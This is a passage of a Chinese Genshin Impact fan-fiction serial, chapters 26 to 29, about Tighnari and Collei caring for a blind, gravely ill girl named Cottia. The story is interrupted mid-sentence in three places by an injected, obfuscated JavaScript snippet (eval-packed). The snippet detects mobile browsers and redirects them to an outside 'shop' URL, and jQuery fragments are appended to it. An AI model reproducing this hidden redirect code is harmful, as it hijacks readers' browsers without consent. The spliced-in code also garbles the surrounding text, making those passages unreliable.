应该怪珂缇娅的母亲坚持假如她自己出意外就让这本笔记本尘封吗?愿意为自己的孩子进行这么多研究本身就很了不起,这也是她表达爱的一种方式。 这位女士只是知道须弥中存在为了论文什么都能做的人,她只是不愿意珂缇娅因为她的研究沦为他人的实验对象,她只是不愿意去赌在她死后珂缇娅能遇到好人的概率。 这位女士只是提前为自己的女儿在“痛苦地活”和“痛快地死”中选择了后者。提纳里无法责怪这样一位殚精竭虑的母亲。 应该怪起初隐瞒了事实现在才跑来说明的小吉祥草王吗?最初的她只是遵守着她自己和珂缇娅母亲的约定。现在的她因为提纳里的疲惫和自责而主动现身,眼眸悲伤地对提纳里说“如果要怪的话,那就怪我吧。”并给出指引。 小草神为了焦虑的他和柯莱还有昏迷的珂缇娅违背了和逝者的约定,违背了自己喜爱的人对自己的最后要求。她在煎熬中最终选择了生者。 提纳里不愿意也不会去责怪这样的小吉祥草王。 - 提纳里谁都无法责怪,谁都爱着珂缇娅。 只是啊,珂缇娅,原本你是可以健康长大的,只要你好好地喝着你母亲搭配的汤药,你不会这样突然昏倒;原本他们会有更多的时间去寻找让你彻底好起来的“媒介”与“容器”,而现在所剩的时间如指间流沙。 提纳里谁都不会责怪,他只是在心疼着珂缇娅。 * 提纳里双手叉腰竖着耳朵让柯莱好好休息,笃定地说珂缇娅明天就会醒来。柯莱去休息后,他煎好了药,把蓝黑色的诡异药汁一点点喂进珂缇娅的嘴里。 咽下药汁后,珂缇娅的脸上似乎多了一抹血色,不再苍白得让人害怕。 提纳里静静地看着床上的珂缇娅眼睫微微颤动,睁开了她漆黑的眼睛“看”向自己。 珂缇娅没有问任何关于她自己的问题,醒来的她只是眨了眨眼,狡黠地问提纳里:“提纳里,你喜欢我放到你桌子上的礼物吗?” 26.须弥篇-26 你醒了。 身下是柔软的床,你能感受到自己的身体里有一种虚弱感,这种感觉并不陌生,就像是它本来就潜藏在你的身体里,现在才显露出来。 你眨了眨眼,好让你有点干涩的眼眶重新变得湿润。鼻尖嗅到提纳里独有的气息,你知道他就在你的身前。原本你是想问发生了什么的,你的记忆还停留在你和柯莱姐姐去到了阿如村、柯莱姐姐忽然惊慌地喊你的名字的时候。 但你感受到了提纳里的情绪,有着紧张、浅薄的喜悦、愧疚、还有浓厚的悲伤。为什么这么难过呢?是遇到什么不好的事情了吗,搞得你都有点想哭了。 唔……会是因为你睡、或者是昏了过去吗?那也没有必要这样子,就像是提纳里开的那些健康讲座一样,之后好好养一养就好啦。想到这里你还有点心虚,不会是因为你在参加教令院的考试之前浅浅地熬了一下夜吧? 你也不想的!但、但是真的很焦虑,根本睡不着……只有爬起来再紧急复习一下才能安心这样。等到你开始打哈欠,才伸出手摸了摸桌上的闹钟,凸起的指针告诉你已经凌晨三点多了。你立刻爬上了床睡觉。 第二天参加考试的时候倒是精力充沛的,半点没犯困。你还以为是你的底子好,结果只是把熬夜的后果延迟了吗。 不过,你“注视”着提纳里,露出一个狡黠的笑容,问他喜不喜欢你送的礼物。现在这种情况,就算你承认自己熬夜了好像也不会让提纳里开心起来。 那么,既然收到礼物了,就高兴一点吧。 你可是对自己的作品充满了自信呢。 * 珂缇娅的……礼物? 听到珂缇娅的话,提纳里原本的思绪被打断,转而跟着珂缇娅的话想起了自己和她们分别后,回到家在自己桌上看到的小摆件。 那是个雕琢得很精细的小摆件,看得出来珂缇娅很用心。 三个小人依偎在一起,中间的小人头顶有一双长长的耳朵,左边的女孩稍大一点,右边的稍小一点,三个人的表情都很柔和。提纳里一眼就认出来了这是柯莱、他、还有珂缇娅。 原来她有一天跑来仰起脑袋说要摸摸他的脸是为了这个啊,提纳里恍然。 - 你知道你的眼睛可能这辈子都好不了了。你并不难过,因为你知道失去了眼睛你还有耳朵,还有鼻子,还有双手和直觉。 你看不见柯莱姐姐和提纳里的样子,但你可以听到他们的声音、可以闻到他们身上的味道、可以知道站在自己面前的就是他们。 你觉得自己不贪心的,这样就很好了,你能感受到柯莱姐姐和提纳里对你的爱护与关心,你也同样爱着他们。 可是那天,你坐在桌前自习,听到窗外飘来的小孩子们关于提纳里和柯莱姐姐的讨论,“……大巡林官的耳朵看起来就很软呢……” “……柯莱姐姐也很厉害!紫色的眼睛在阳光下就像宝石一样漂亮……” “……不知道提纳里先生用的是什么洗发水呢?我的头发就看上去毛毛躁躁的……” 手下凸起的依然清晰,可你已经无心去辨认它的内容。 你不自觉地鼓了鼓脸,别人都知道柯莱姐姐和提纳里是什么样子的,可你却不知道,你甚至还要从他们的话语里分辨出原来提纳里的头发看起来很柔顺、柯莱姐姐的眼睛是紫色的这些事情! 你有点生气,又不知道自己在气什么。 把头埋进怀里,直到脸颊肉碰触到你的膝弯。这样被挤压的感觉让你逐渐平静下来。你想,你还是能做什么的。 你能通过教学就读懂盲文,你能做出很有用的工具,你有很多的知识,还有一个聪明的脑子。你一定能想到办法的。 爸爸妈妈的脸在你的眼前浮现,你被他们抱在怀里,三个人簇簇拥拥地对着留影机露出笑容。爸爸说,这叫“全家福”,是你们留到以后一看见也能想起来的美好回忆。 你记得你和爸爸妈妈有那——么多的厚厚的一叠全家福照片,只是你现在都看不到了。 那么,就你自己来做新的能被你触摸到的“全家福”好了,你伸出手,摸了摸桌子上摆放的雕有爸爸妈妈头像的小牌子。 * “说的是那个小摆件吗?我很喜欢。”提纳里这么说着,伸出手摸了摸你的头。 你能感受到提纳里说的是实话,他确实很喜欢你做的礼物。可是,为什么还是很难过呢?你有些不解。 有的难过是可以被转移的,就像是去吃饭结果吃到了很难吃的饭,但是因为之后又在旁边买了个非常好吃的蛋糕,于是这一次外出的经历也会变得美好起来,虽然饭很难吃,但是蛋糕非常好吃!所以值得。 有的难过是无法被稀释的,就像你失去了你的爸爸妈妈那样,那种近乎疼痛的感觉是无法被转移的。即便到了现在,你还是会很想念你的爸爸妈妈。有人说你想念爸爸妈妈会让提纳里和柯莱难过的,你不明白他为什么会这么说。 为什么呢?你爱着自己的爸爸妈妈,也爱着柯莱姐姐和提纳里。爸爸妈妈让你有一个绚烂又温暖的童年,而柯莱姐姐和提纳里则为失去了父母的你点亮了人生的希望。为什么要这样比较?柯莱姐姐和提纳里很认真地反驳了那个人的说法,你没有说什么,只是暗暗怀疑这么问的人听起来不太像能考上教令院的样子。 所以,就像柯莱姐姐和提纳里对你呵护的心情一样,就像他们为你反驳其他人一样,你拉住提纳里放在你脑袋上的手,拖着他的手一点点下移,然后把自己的脸放到他的手上面,皮革材质的手套蹭着你柔嫩的脸很不舒服,你却只是抬起自己的眼睛“盯”着面前的人:“提纳里是为什么不开心呢?我想知道。” 如果有需要的话,你也可以为了提纳里去骂人的!……虽、虽然你可能不太会,但你想让提纳里开心起来,就算要自己展现出不太厉害的一面也可以。假如别人说得很过分的话……打人也不是不行,你阴暗地想。 提纳里完全不知道自己在你的眼里已经变成被别人欺负得委屈巴巴跑来找你求助的小可怜了,他任由一只手被你拉着托住你的下巴,怕一只手托不稳还把另一只手虚虚放到下面垫着。 - 要把这件事告诉珂缇娅吗?提纳里思考。 提纳里看着珂缇娅没有聚焦的眼睛,这双眼睛失去了神采依然很漂亮,就像珂缇娅遭受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16035424|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了人生的变故依然能朝气蓬勃。说到底这件事的当事人就是珂缇娅,说到底这件事也和珂缇娅的母亲有关,珂缇娅理应有知情权。 看着珂缇娅一脸认真的想要知道自己为什么而苦恼的神情,提纳里内心的天平逐渐倾斜。 * 你听到提纳里提起了你的母亲,提到了你可能活不久的事情。 是妈妈啊。你的神色出乎意料地平静,与其说是意外,不如说是早有预感。从你有记忆以来,妈妈每天都会让你喝一种颜色很奇怪的让你一度怀疑这是不是女巫的魔药的果汁。就算妈妈有时要去工作不能监督你,她也会叮嘱爸爸让你喝下去。你有想过为什么每天都要喝,但妈妈很坚持,味道也甜甜的,所以没关系。 你这次醒来的时候在嘴巴里尝到了熟悉的味道,听到提纳里说的话,就像是看到一只悬在半空很久的靴子终于落地。 没关系。比起怪罪妈妈,你更想抱住妈妈跟她说一句辛苦了。要一个人背负这么大的秘密、要一个人承受这种压力,她已经用尽了她能想的办法拼了命地为你好,近乎桎梏的爱,却把最终的选择权交到了你的手里。 你安静地听着提纳里复述赛诺的译本,从里面破译出了赛诺都不知道的讯息:【珂缇娅,我亲爱的小小鸟。如果你不是自愿的,那么就在喝下汤药之后想办法拿到一株须弥蔷薇吧、只需要一株就够了。你将会获得自由,谁也无法把你禁锢。】 谢谢妈妈,不过你现在过得很好,柯莱姐姐和提纳里也都对你很好。以防万一,最近都不能吃须弥蔷薇相关的食物了,你还挺喜欢帕蒂沙兰布丁的。 - “所以提纳里就是在担心这个吗?”你蹭了蹭脸前提纳里的手,你相信哪怕隔着皮革提纳里也能感受到你的心意:“没关系,哪怕现在死去我也是幸福地死掉的。不要因为这个不高兴啦。” 你说的是你真实的想法。虽然可能会因为还没等到教令院的成绩公布而有点遗憾,但那点遗憾就像是阳光下的新雪一样太阳一出来就化了。 比起你既定的死亡、你被母亲推迟的死亡,你更希望柯莱姐姐和提纳里他们都能开开心心的。他们为你担心你确实很高兴,但是太苦涩啦。你叹了口气。柯莱姐姐贴在你心口上的动静哪怕你还在昏睡着都能依稀感觉到,还有那些像是流不尽的滚烫的眼泪。 你会努力地活下去的,只是,万一结果不尽如人意,你希望柯莱姐姐和提纳里都能够释怀。 * “哈?现在不要说这种话,还没到最后呢,”明明是自己说所剩的时间不多现在还没有找到根治的媒介与容器的提纳里冷酷地驳回了你的话:“给我打起精神,要想尽办法活下去啊。”提纳里指责你:“你可是说过要给我和柯莱养老的。” 对、对哦,你是说过这样的话来着。你一下子变得呆滞,这样看来你确实不能就这么走掉啊!想了想变老的无人照顾的孤苦伶仃的柯莱姐姐和提纳里,你瞬间觉得自己的责任重大。 绝对、要想尽办法给柯莱姐姐和提纳里养老才行。 可恶,你之前挣的私房钱还是太少了!年仅十二的你悟到了“钱到用时方恨少”的真谛。 27.须弥篇-27 你回到自己的房间,即便离开了一段时间,你对这里的每一寸依然熟悉。 闭上眼睛仰躺到柔软的床上,视野并没有什么变化,仍旧漆黑。你抬起手放到自己的左胸上,隔着皮肉,你能感受到你的心脏正在跳动,手掌下的震动是那样的鲜活,一点都看不出你像提纳里说的那样活不久了。 就像妈妈说的那样,你真的是一个很特别的孩子呢。只是你从前不知道,这个“特别”原来是这个意思。你未来的生命被上锁了,能不能继续活下去就要看你能不能打开这把“锁”。 - ……没有实感。 你承认你确实很聪明啦,可是小时候的你比起关注一杯颜色奇奇怪怪的饮料,更多的还是关注自己的父母,关注他们的一举一动,觉得他们的行动里充满了大人独有的帅气,就连走路都和你很不一样,有一种像风一样的感觉!至于每天都喝的饮料是什么?那不重要,就像你不会关注你每天吃的饭是什么品种的米一样。 有过猜想,但也只是以为是什么对身体好的蔬菜汁、补充维生素之类的。因为不在意,所以不会多加思考。 现在忽然跟你说你喝的那个饮料其实是给你保命用的,一时半会儿的很难接受啊!虽然醒来的时候确实或多或少有所预感就是了…… 说到底,你今年才十二岁,刚参加完教令院的考试,如果不出意外的话你会成为梨多梵谛学院的又一位少年天才。在这之前,你最大的苦恼就是找不到爸爸妈妈、之后变成了会不会一不小心考砸这种事情。 现在却忽然抬到了生死的高度。 诚然,有迹可循,可是那也不代表一定就是这样的不是吗。你觉得你只是睡了一觉、而这一觉睡得比较长而已。你原本是想反驳的。 ……可是,提纳里很难过。 提纳里不会拿这种事情骗你,你是知道的。你知道提纳里的医术有多高明,道成林中来来往往那么多的人,到化城郭来求医的人,提纳里从来都是耐心又稳重的,从来不会这样。 ……所以,你愿意放弃自己的思考,去顺从提纳里说的:是的,你确实活不久了。 如果真的活不久的话,你希望柯莱姐姐和提纳里都能幸福。这种说法听上去很小孩子吧?不过你就是这样想的。 你依稀记得在你睡得朦朦胧胧的时候,你听到了柯莱姐姐在哭。现在柯莱姐姐没在你的身边,应该是被提纳里劝去休息了。你是知道当初把你一路抱回化城郭的柯莱姐姐的,没有亲眼见到你醒来她绝不会轻易放心。 那是即便去了教令院求学也会每周都给你写信的柯莱姐姐。 一定是柯莱姐姐的状态太差了提纳里才会不顾她的自身意愿让她先去休息、选择自己跟你说这个坏消息的。 那么,提纳里呢?提纳里也很难过,谁能来安慰他呢。 你下意识地选择了你认为的最适合应对这件事情的话语。可能是你说的很真挚,可能是你的表情没有漏洞,又或是提纳里太累了,提纳里相信了你的话,没有洞察到你兵荒马乱的内心。 ——不管怎样,你希望你对他们造成的只有好的影响。 * 直到现在这种独处的时刻,你才能稍微流露自己的脆弱。 啊啊啊……好烦啊,就像有谁给你的人生按了倍速一样。你都还没来得及知道自己究竟有没有考上教令院呢。 隔着窗户,你听到了徐徐的风声。 今天是一个好天气,没有下雨,连夜晚的风也带着轻快的意味。你听着时有时无的风声,逐渐萌生出去看看夜晚的星星的想法。 这么好的天气,天空多半没什么云彩遮蔽,一定很适合观星。你这样想,只带上一个自己一开始做的小小的简易版的观星仪,推开自己的窗户,双手撑在窗棂上灵巧地翻了出去,没有发出一点声音。 你现在只想自己一个人去吹吹风、观测一下星星,不想被别人知道。 走在自己走了很多遍的路上,你脚步轻盈。 - 提纳里还没有睡。 被珂缇娅一番打岔,提纳里原本想说的话都忘了。算了,明天再说也来得及,起码现在珂缇娅已经醒过来了。看着手里写了珂缇娅名字的录取通知书,提纳里不由露出一个笑容,他知道的,珂缇娅一直很努力。 珂缇娅也会开心的吧,提纳里柔和了眉眼。这是他在找赛诺的过程中从教令院里派发录取通知书的人手上拿到的,当时对方还向他贺喜,可惜他当时没有高兴的闲情。 真是神奇,明明事情还没有彻底解决,可只是一个昏迷的人醒来了,天仿佛也变得明亮起来,让人不由相信希望就在不远的前方。 他和柯莱,一定会在珂缇娅上学之前找到赛诺那位前辈所提及的“媒介”和“容器”的。一定会让珂缇娅开开心心、没有顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16049494|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虑地去上学的。想到这里提纳里唇角微勾。 忽然,提纳里的耳朵抖了抖,嗯?是珂缇娅房间那边传来的动静。由于房间位置的关系,提纳里抬起眼,透过半透明的窗户看到了珂缇娅翻窗而出的全过程。 提纳里:…… 提纳里费解。珂缇娅怎么从小到大都喜欢在夜晚翻窗户?刚跟着老师学习的时候是这样,现在又这样。提纳里叹气,远远地跟在珂缇娅身后跟了上去。 放着珂缇娅一个人出去说到底还是不放心,再怎么样珂缇娅今天才刚醒来,要是不小心在哪里又倒下了怎么办。 * 这条路你已经走得烂熟于心,手上拿着东西也不会减慢你的速度。 你来到山顶坐下,夜晚微凉的风吹拂着你的脸庞和露出的手臂。即使自己看不到天空,你还是抬起头,同时启动仪器去观测天空。 夜晚是很适合仰望天空的时间。你一边抬着头一边伸出手去读取仪器中的数据,每一颗星星似乎在你的眼前跳跃。由于制作时间和容量的关系,这个仪器读到的数据精确度并不高。不过没关系,不是每次抬头仰望星空都是为了寻找与得到答案。也可以只是为了让自己的思绪变得平静。 你移动着仪器,直到观测到的星体数据与你心中所想的吻合。这是你用这台仪器第一次观测到的星星,你相信就算它不一定是属于你的星星,也一定与你有关。对你来说,某种程度上这就是你的“幸运星”。 抱歉,可能是这颗星星的主人的某位,它暂时被征用了。你在心里默念。 根据其他数据,你读出的信息是……“遇到的困难将迎刃而解,心想事成?” 是好兆头呢。你弯起唇角,躺在了身后的草地上。再过一会儿,就回房间睡觉吧。 正如你的幸运星所说,你相信你最后也会“心想事成”的。 - 收敛气息、一路尾随的提纳里此刻陷入沉思。他在思考自己是不是对两个女孩子的了解太少了。 ——为什么,珂缇娅所观测的那颗星星,正是属于他的呢?提纳里良好的记忆力让他想起多年前柯莱也这样跟着珂缇娅夜晚出去,回来的时候一脸纠结,而自己问起的时候柯莱却连连摇头说“什、什么也没有!”,自己想着可能是孩子之间的小秘密就没有多管。 原来这就是你们的小秘密吗?!提纳里露出了宇宙猫猫头的表情。 28.须弥篇-28 珂缇娅睡着了。 提纳里有些无奈地看着大半夜翻窗出来看星星、然后又窝在草地上睡着的黑发小女孩。虽然昏迷了很久,醒来之后依然很容易感到困倦呢。不过,现在这副睡得脸蛋都红扑扑的模样,可比之前那副惨白的脸色好看多了。 提纳里上前,掏出随身携带的手帕细心地为珂缇娅擦去额头与脖颈处的细汗。如果这么闷着睡一晚的话,明天的珂缇娅多半又要打喷嚏了。执着手帕一点一点地擦去薄薄的细汗,再将手帕用过的一面朝里折叠重新放回口袋里,提纳里抱起了珂缇娅。 比起没有遮蔽、随时都有可能会被虫子爬到身上的户外,还是家里柔软的床更适合睡觉吧。 尽管自己也一连好几天没睡过好觉,提纳里抱着珂缇娅走向化城郭的步伐依然很稳。对提纳里来说熬夜不算什么,他以前读书的时候也不是没有过熬夜的经历。更多的是未落到实处的焦灼和担忧在炙烤他的心。 “晚安,珂缇娅。”提纳里把熟睡的小女孩放到她的床上,为她捻了捻被角,往她的怀里塞了个柯莱和她一起做的玩偶,明知她听不见,还是朝她道了晚安。 今晚,大家都能睡个好觉吧。这样想着,提纳里弯起了他那双青玉色的眼眸。 * 欸?你记得自己原本是在山顶观星来着,怎么忽然回到了家?醒来的你没有理解这一切是怎么发生的,啊、对了,那你的观星仪器呢?不会人回来了它没回来吧,这种事情不要啊!你当时做了好久的!你大惊失色。 想到自己可能已经失去了心爱的小仪器,你没有管自己已经咕咕叫的肚子,而是伸出手在房间里四处摸索,小吉祥草王保佑,你的小仪器可一定要跟你一起回来了啊。你根本没法想象那个小仪器要是孤零零地在野外待了一晚会怎么样,也不知道昨晚有没有下雨…… - 沿袭妈妈的习惯,有时你也会念几句“小吉祥草王保佑”。用妈妈的话来说,这更多的时候都只是一种心理安慰,所以要把它用在留有余地的地方。那时妈妈是在起晚了的情况下希望经常去的早餐摊子还开着,不过就算早餐摊子已经收拾收拾回家了,妈妈也还可以去咖啡馆吃东西。 是【有的话就最好啦!但没有的话也不会出什么问题哦。】的这种程度。对你来说,你的小仪器更多的是纪念意义,纪念你第一次踏上这条自己给自己造辅助仪器的成果。但你完全可以再做一个出来,虽然可能会有点难过。 妈妈说世界上的很多东西都讲究等价交换。就像是买枣椰蜜糖一样,得到枣椰蜜糖的同时失去了与它等价的摩拉。如果许下了很大很大的愿望,那代价会是什么呢?更何况,假如愿望没有实现,明明什么都没有付出的人会不会因为这种落差而怨恨神明? 须弥从来不缺天才,也不缺蠢货。你的妈妈这样说,更不缺自以为天才的蠢货。无论什么时候,永远不要迷失自己,妈妈这样对你说,温暖的手把你抱进怀里。 有时你也会好奇,小吉祥草王是位怎样的神明呢? - 还好还好,你成功在自己的房间里摸到了自己的小仪器。与此同时,松了一口气的你还在书桌上、小仪器的旁边摸到了一封信。 是提纳里写的信。他在信里交代了你会出现在自己床上的原因:昨晚他看到你睡在野外了,就顺便把你还有你身边的小仪器一起带了回来。信的结尾是说野外时常有长鬓虎出没,睡在野外容易着凉。 你:…… 提纳里好像在点你,你觉得自己掌握了证据——“长鬓虎出没”是说一个人外出很危险,“睡在野外容易着凉”结合你现在睡在自己床上的现状反映出来的就是提纳里很可靠。总结一下就是:“一个人外出要和大人报备。” 自己在夜晚的山顶睡着的你有点心虚。下次、下次你一定不会这样的啦……如果有下次的话。 找到仪器放松下来的你瞬间,“肚子好饿。”你觉得现在的你甚至可以吃下一头驮兽。 * 出了房间,柯莱姐姐和提纳里正在吃早餐,你坐了过去,嗅嗅空气里弥漫的味道,有面皮被烤得焦香的气息,还有鲜嫩的肉和汁水丰沛的番茄交织的香气。 是柯莱姐姐的拿手好菜,口袋饼! 你愉快地开始了自己的早餐,吃得自己腮帮子都鼓鼓的。和面的过程中倒入了牛奶,面皮带着浅浅的奶香味,口感也更加丝滑,你吃的很开心。以后有空的话,你要不也做一个自动烹饪机?你边吃边思考。 一个口袋饼足以填饱你的肚子,但你总觉得少了点什么,就,虽然身体饱了,灵魂还饿着。 你的帕蒂沙兰布丁又在哪里呢?你左顾右盼,以前提纳里和柯莱姐姐都会时不时给你来个布丁甜甜嘴巴的。 看你这副模样就知道你在找什么,提纳里笑吟吟的,说出了很残忍的话:“别找了,在你好起来之前家里是不会见到一个帕蒂沙兰布丁的。”之前给你分享你母亲笔记本时从你口中得知你这段时间都不能吃须弥蔷薇的提纳里一大早就指挥柯莱把家里的须弥蔷薇全都搬到了别的地方。 “对了,也不会有任何制作过程中需要用到须弥蔷薇的菜。包括雨林沙拉。”提纳里补充道。 雨林沙拉,是一道用墩墩桃、薄荷、须弥蔷薇制作而成的菜肴,是须弥的常见菜色。其实雨林沙拉你倒是没什么所谓,毕竟比起菜你更喜欢吃肉。但提纳里是喜欢吃蔬菜吃蘑菇的,你从提纳里的发言中感受到了提纳里的决心。 你现在是类似那种,“提纳里都放弃雨林沙拉了,你还想要帕蒂沙兰布丁?”这样的感觉。 呜……确实是你一不小心忘了。你的头顶似有看不见的耳朵耷拉下来。等你好了之后,你要一次性吃十个布丁! * “接下来珂缇娅就待在这里吧,我拜托拉娜过来照看你。”柯莱看着因为吃不到帕蒂沙兰布丁而蔫下去的珂缇娅目光柔和。 不管怎样,珂缇娅这么鲜活的模样真是太好了,她一定会找到提纳里师父所说的能让珂缇娅彻底好起来的媒介和容器的,柯莱平静地想。比起之前慌张、悲痛又苦苦压抑的状态,现在这个绿发少女看起来就像找到了主心骨,人也变得平和了不少。 也许他们不是怕自己努力过后依然面临失败的结局,而是害怕那种看着自己的亲人忽然倒下自己却不知道从哪里努力的无能为力。 早在珂缇娅醒来之前,柯莱和提纳里就已经完成了一波信息交换,并决定之后两人分头行动去找东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16058989|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的后续安排。柯莱看着自己的提纳里师父足有一尺高的信件,据说这是提纳里写给他认识的人里有可能有相关线索的人的。 好、好恐怖……这个数量。时至今日仍有些内向腼腆的柯莱看着信件的高度发出感慨。不过,放到现在这种情况下,就让人很安心了。 只是,她和提纳里师父都离开的话,珂缇娅要交给谁来照顾呢?路上大概会跑得很快,珂缇娅的小短腿跟不上的。而且,柯莱垂下眼眸,她也不是很想让珂缇娅跟过去,去不断地寻找、不断地抱有希望又失望的过程。 珂缇娅只需要坐在房间里吃着零食看看书、等他们把媒介和容器找到,再朝着他们露出没有阴霾的笑容就好了。 - 你虽然知道柯莱对你抱有保护欲,但你不知道自你在柯莱面前直挺挺地昏倒之后柯莱对你的保护欲再度上升了一个层次,你只是想要挣扎一下,你真的睡了很久了,可以出去走动走动了啦:“我会很乖的哦?”真的、真的不可以带上你吗? 提纳里和柯莱不语。于是你知道了答案。也……也行吧,就当是为万一你没有进入梨多梵谛学院继续做的准备了。现在还没从提纳里口中听到你已经被录取的消息的你在努力调理着自己。 这时,你听到房门被人推开,“这样,要不珂缇娅就交给我们吧,我们刚好有空。”是赛诺的声音。 “好久不见,珂缇娅。”赛索斯和你打了个招呼。 你记得赛索斯。提纳里说过他很好相处,他也曾经来过化城郭帮忙,不过当时的你一直待在房间里没怎么和他接触。一开始听到赛索斯跟你打招呼的时候你吓了一跳,总感觉这个人不简单。 后来,赛诺跟你说赛索斯和他一样,同样来自于沙漠,你才终于找到了自己想对塞索斯的形容。塞索斯给你的感觉就像是沙漠的流沙一样,看起来平平无奇,实际上却会把踩到它上面的一切东西吞噬殆尽。 你窸窸窣窣地观察了赛索斯一阵子,最后发现,塞索斯只是一个普普通通的做的烤肉卷很好吃的人而已嘛。吃得满嘴流油的你对赛索斯信心满满地下了结论。 听到他们说的话,你脸上露出了期待的表情。这么说来,你还是可以出去玩的吗?原本你没有这么想出去玩的,不过这次醒来之后,总有一种自己的骨头快要生锈的感觉,就忍不住想要多活动活动。 * 本就是自己叫来赛诺的提纳里看着满脸期待的珂缇娅,不由露出浅浅的微笑,珂缇娅被他们养的越来越活泼了啊。“那么,路上要听赛诺和塞索斯的话哦。”提纳里说着,伸出手摸了摸你柔顺的长至肩胛骨的黑发。 比起让你一个人待在屋里,虽然会让人来照料你;也许你会更喜欢在雨林里走走?提前跟赛诺沟通过的提纳里微笑。 柯莱还有的学呢。 - 你愉快地跟着赛诺和赛索斯出门了。 路上,见你和塞索斯都不怎么说话的样子,赛诺率先打破了寂静:“你们知道,同样都是元素力,但水和冰那个攻击速度更快吗?” “是哪个呢?”你很捧场,暗暗想着要把这个冷笑话记下来回去说给提纳里听。 “是冰。因为冰快(块)。”赛诺爽快的给出了答案。 29.须弥篇-29 说起来,你们的目的地是哪里呢? 在赛诺时不时分享的冷笑话解闷下,你渐渐地放松下来,智商重新占据高地,突然意识到你跟着赛诺和赛索斯出来是出来了,那你们现在要去的是哪里呢?这么想着,你问了出来。 一方面是和赛诺认识好几年了,你知道赛诺不会是那种因为别人问了问题就觉得别人在质疑他而生气的人;另一方面,提纳里对你的教育是“不懂就问”,有不懂的问题问出来并不可耻。直率的少年天才是这么做的,也是这样来教导其他人。 “在知识的国度里,我们每个人都是求知者,没有高下之分。”提纳里说。虽然有时还是会觉得问出自己不懂的问题有点难为情……话脱口而出的瞬间就像是把一部分的自己赤裸裸地暴露在别人的视线里,包括自己的思想、感受、看法之类的,都能从问题中体现出来。 好在在提纳里的言传身教下,你并不以此为耻。用提纳里的话来说,难为情是你个人对和其他人接触的一种感受,每一种感受都是你人生丰富的体验。只要明确自己想要什么,并且能够切实地付诸行动就好。 - 你问出了你的问题,然后得到了答案。 就是这个答案让你有一种莫名的无力感……“看你”是什么意思啊。是说目的地由你来定吗?所以原来赛诺和赛索斯是在跟着你走吗?可是你在听着他们落脚的动静跟着他们走啊。 都在跟着对方走但都不知道目的地的局面诞生了。 * 赛索斯想笑,他也笑了出来。 嗯,看着珂缇娅现在这个像是想要骂点什么又不知道骂什么的麻了的表情,应该没有人会觉得不有趣吧。这么想着,赛索斯弯起了他那双哈密瓜般的眼眸,系在脑后的蓬松头发随着他笑的动作在背上弹了弹。 果然,今天跟着赛诺来找珂缇娅是个很不错的选择。不过现在,就先让他来解救陷入迷茫的小珂缇娅吧。 “那么,珂缇娅想要去哪里呢?”赛索斯笑眯眯地在珂缇娅面前半蹲下,与她那双映照不出人影的眼睛平视。 这位自沙漠中走来、看起来热情又开朗的蜜肤少年看着珂缇娅先是细眉微蹙的犹豫、再到想要征求意见的坦然:“可以就在化城郭附近转一转吗?” 事实上,无论珂缇娅说什么,他们都会同意的。想到珂缇娅的身体,赛索斯不由移开了视线,这算一种临终关怀吗,还不算吧。他和珂缇娅没有接触太多,只是一想到这双漆黑的眼睛将会早早地永远闭上,就或多或少地、会感到一种难以忍受的遗憾。 提瓦特大陆上,每时每刻都发生着死亡。须弥里的、须弥外的;雨林的、沙漠的;寿终正寝的、突发意外的……即便知道这个事实,目睹自己认识的人步入死亡依然会让人感到难过。 因此,为了不让自己太过伤心,在每次的相处中都避免留下遗憾。 事情还没到最后,就不要先说放弃。 “那么,我们就在附近转转咯。” - 你不知道在你看来只是个普普通通的烤肉很有一手的赛索斯脑袋里都在想些什么,你只是提出了自己的想法,然后得到了认同。 你:好耶。 跟着赛诺和赛索斯走进雨林,鼻尖传来熟悉的气味。这是陪伴你多年的雨林,你对它再熟悉不过。 气温仿佛下降了几度,暴露在外的手臂感受到明显的凉意。空气湿润又清爽,你的步伐不由轻快起来。抬起指尖、你接触到了一片温热的肌肤。这个位置、这种感觉,应该是赛索斯? 隔着指尖薄薄的皮肤,你似乎能感受到赛索斯一身皮肉下的流动的鲜血,还有其中蕴藏的无限生命力。 没有过多思考,你牵住赛索斯的手往前走。没记错的话,月莲好像快用完了。如果可以,你想自己先采摘一部分,这样巡林员的哥哥姐姐和提纳里他们就可以少跑一点路程了。 “赛索斯,我们去摘月莲吧。”微微抬起下巴侧过头,你向身边人提出了自己的想法。 “啊……好、好的。”你听到赛索斯回应你的声音似乎愣了一下,因为年龄差距而只能牵住对方一部分的手掌的手也仿佛传来变快的心跳声。 